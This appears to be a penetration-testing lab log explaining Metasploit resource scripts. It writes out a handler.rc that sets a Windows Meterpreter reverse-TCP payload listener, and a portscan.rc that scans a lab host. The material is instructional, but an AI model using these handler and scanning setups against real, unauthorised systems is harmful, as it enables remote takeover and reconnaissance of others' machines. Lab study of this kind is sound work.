2025-11-12 / Log: resource_scripts

Resource Scripts

Resource Scripts

Classification: Host & Network Penetration Testing / The Metasploit Framework
Environment: Kali (Metasploit automation)

1. Executive Summary

Metasploit resource scripts (.rc) batch a series of console commands so repetitive setups run with one flag. Here we list the pre-packaged scripts and write two of our own — one that auto-configures a multi/handler, and one that runs a TCP port scan — loading each with -r.

2. Pre-packaged Scripts

ls -al /usr/share/metasploit-framework/scripts/resource/

Listing the pre-packaged resource scripts

3. Handler Resource Script

Instead of configuring a handler by hand each time, write the commands to a .rc file.

# handler.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 1234
run

handler.rc contents

Loading it with -r.

msfconsole -r handler.rc

Loading handler.rc (1)

Handler started from the resource script (2)

4. Port-Scan Resource Script

# portscan.rc
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.7
run

portscan.rc contents

msfconsole -r portscan.rc

Loading portscan.rc (1)

Port scan run from the resource script (2)

5. Notes

  1. Resource scripts accept embedded Ruby (<ruby>...</ruby>) for advanced automation.
  2. They are ideal for standardising engagement setups (handlers, workspaces, recurring scans) and for reproducible labs.